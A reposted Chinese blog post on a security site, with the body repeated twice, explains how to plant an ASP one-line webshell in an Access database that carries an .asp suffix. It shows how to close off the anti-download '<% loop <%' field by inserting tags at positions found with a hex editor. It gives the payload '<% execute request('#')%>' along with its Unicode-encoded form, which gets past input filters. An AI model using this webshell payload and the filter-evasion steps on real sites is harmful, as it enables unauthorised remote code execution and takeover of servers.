关于asp后缀数据库插马的思考
2012-06-25 11:40
239 查看
很久之前便有利用Asp+Access网站数据库采用asp后缀直接插入一句话木马的介绍了。这里简单总结一下。
为了防范数据库被下载,网站Access数据库中常出现nodown等字段。
其中内容为3C25206C6F6F70203C25,也就是ASP语句中的<% loop <%。由此,如果让我们插入的脚本正常执行,首先一个前提就是闭合<% loop<%。
而为了闭合<% loop <%,便要在数据库中寻找合适的位置插入<%’和:%>来构造出<%’<% loop <% :%>的结构,由此将loop的放下载过滤掉。
但是多次测试发现,插入数据库时经常不能在固定的插入位置把loop防下载过滤掉,只能通过winhex等16进制编辑器来确定<% loop <%所在的位置,并查找出<% loop <%前后的数据内容,按照顺序来进行”<%’”和”:%>”的插入。
这样就是asp插马的一般思路了 。那么要插入一句话木马,需要的一个简单的工具如Lake2的ANSI2UNICODE实现Ansi编码转换为Unicode编码。比如可以这样构造<% execute request(“#”)%>a<%’x
经过工具转换后为┼攠數畣整爠煥敵瑳∨∣┩愾┼砧,这样在后台插入即可而不必担心过滤。
但是注意,单纯的ASP网页写入这些内容是无法解析的。但此Unicode编码被插入数据库时却是没有问题的,而从16进制的角度看,插入ANSI与Unicode是相同的。故成功插入后可以正常解析。
转载请注明出处:Sec安全资讯.本文链接:http://5ec.info/archives/150
为了防范数据库被下载,网站Access数据库中常出现nodown等字段。
其中内容为3C25206C6F6F70203C25,也就是ASP语句中的<% loop <%。由此,如果让我们插入的脚本正常执行,首先一个前提就是闭合<% loop<%。
而为了闭合<% loop <%,便要在数据库中寻找合适的位置插入<%’和:%>来构造出<%’<% loop <% :%>的结构,由此将loop的放下载过滤掉。
但是多次测试发现,插入数据库时经常不能在固定的插入位置把loop防下载过滤掉,只能通过winhex等16进制编辑器来确定<% loop <%所在的位置,并查找出<% loop <%前后的数据内容,按照顺序来进行”<%’”和”:%>”的插入。
这样就是asp插马的一般思路了 。那么要插入一句话木马,需要的一个简单的工具如Lake2的ANSI2UNICODE实现Ansi编码转换为Unicode编码。比如可以这样构造<% execute request(“#”)%>a<%’x
经过工具转换后为┼攠數畣整爠煥敵瑳∨∣┩愾┼砧,这样在后台插入即可而不必担心过滤。
但是注意,单纯的ASP网页写入这些内容是无法解析的。但此Unicode编码被插入数据库时却是没有问题的,而从16进制的角度看,插入ANSI与Unicode是相同的。故成功插入后可以正常解析。
转载请注明出处:Sec安全资讯.本文链接:http://5ec.info/archives/150
相关文章推荐
- 关于asp.net中两个DropDownList之间数据库调用传递选项
- 关于使用ASP.NET和数据库的笔记
- 关于数据库设计的思考(一)
- 关于ASP.NET中图片上传到MSSQL数据库以及读取的方法
- 关于数据库设计的思考(三)
- 关于数据库‘状态’字段设计的思考与实践
- 关于数据库主键选择的思考
- ASP 中网站制作关于多个FORM 利用PANEL来分组包含各个FORM,数据库调用显示怎么办?怎么写?
- 关于 ASP, ASP.NET; VBS, VB.NET, JS, JS.NET, C# 的体会,思考
- 关于java 中日期类型与数据库打交道时的思考
- 关于数据库查询优化的思考
- 关于ORACLE通过file_id与block_id定位数据库对象遇到的问题的一点思考
- 关于数据库查询优化的思考
- 关于项目开发的数据库更新的思考sql_update
- 数据库设计---关于建表的时候选择横表和竖表(纵表)的一点思考
- 【Asp.net】关于数据库的应用
- 关于asp.net网站发布后,使用登录控件和注册控件时出现“数据库只读,无法进行数据更新”的解决方法
- 关于ASP.NET缓存与数据库中的数据表关联查询
- 关于ORACLE通过file_id与block_id定位数据库对象遇到的问题引发的思考